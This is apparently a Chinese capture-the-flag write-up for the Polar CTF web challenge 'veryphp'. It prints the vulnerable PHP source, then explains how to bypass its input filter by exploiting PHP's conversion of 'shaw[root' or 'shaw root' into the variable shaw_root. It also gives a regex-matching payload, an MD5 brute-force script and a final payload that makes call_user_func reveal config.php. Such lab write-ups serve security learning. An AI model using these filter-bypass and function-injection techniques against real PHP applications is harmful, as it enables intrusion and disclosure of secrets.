polar CTF WEB-veryphp

1、题目

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
   
    function __wakeup(){
   
        die("Access Denied!");
    }
    static function oao(){
   
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
   
    die("I am sorry but you have to leave.");
}else{
   
    extract($_POST);
}
if(isset($shaw_root)){
   
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
   
        echo $hint;
    }else{
   
        echo "Almost there."."<br>";
    }
}else{
   
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
   
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}
Input correct parameters

2、分析主要的是绕过下面两个正则
注意:用Burp Suite 抓包传payload,hackerbar等会将URL编码

$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
   
    die("I am sorry but you have to leave.");
}else{
   
    extract($_POST);
}

if(isset($shaw_root)){
   
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
   
        echo $hint;
    }else{
   
        echo "Almost there."."<br>";
    }

可通过在线网址调试
https://c.runoob.com/front-end/854/
①的绕过方式有两种
payload

shaw[root=123或者shaw root=123

在这里插入图片描述
在这里插入图片描述

②的绕过方式

还有拦截

if($ans===$SecretNumber){
   
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475

在这里插入图片描述

爆破脚本

import hashlib
import re
a = 'shaw'
b = 'root'
for i in range(10000,99999):
 string = a+str(i)+b
 md5 = hashlib.md5(string.encode('utf-8')).hexdigest()
 if(re.findall("166b47a5cb1ca2431a0edfcef200684f替换为上面的给出的加密值",md5)):
 print(i)

在这里插入图片描述
最终payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475&my[ans=qwq::oao

在这里插入图片描述
其中正则分析

接下来要满足条件判断里的正则表达式和字符串的长度,逐个分析该正则表达式:

^:声明字符串开头的位置。
-:匹配字符-,反斜杠是转义符。
[a-e]:匹配单个字符,范围是小写字母a到小写字母e。
[^a-zA-Z0-8]:匹配单个字符,范围是除了a-z、A-Z和0-8以外的任意字符。
:匹配一个。
(.*):匹配任意字符(行结束符除外)零到无数次。
>{
   4}:精确匹配“>”四次。
\D*?:匹配不是数字的任何字符(等同于[^ 0-9])零到无数次。
(abc.*?):匹配字符串abc和任意一个字符(行结束符除外)。
p(hp)*:匹配字符p和字符串hp零到多次。
\@:匹配字符@,反斜杠是转义符。
R:精确匹配字符R。
(s|r):精确匹配字符s或r。
.:匹配除了换行以外的所有字符
除了满足上述条件外,传入的字符串的长度必须等于29,可以在某些“匹配零到无数次”的地方增减长度达到目的。例如,以POST方式传入 shaw[root=-a?rrrrr>>>>RabcRphphp@Rrr 就可以满足条件,输出 $hint 的值:

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-02 04:20:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-02 04:20:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-02 04:20:01       87 阅读
  4. Python语言-面向对象

    2024-01-02 04:20:01       96 阅读

热门阅读

  1. 2024任务驱动Python程序设计讲课提纲

    2024-01-02 04:20:01       51 阅读
  2. go通过go run命令启动出现undefined

    2024-01-02 04:20:01       68 阅读
  3. QDialog

    QDialog

    2024-01-02 04:20:01      48 阅读
  4. golang的大杀器协程goroutine

    2024-01-02 04:20:01       65 阅读
  5. 常见的漏洞

    2024-01-02 04:20:01       53 阅读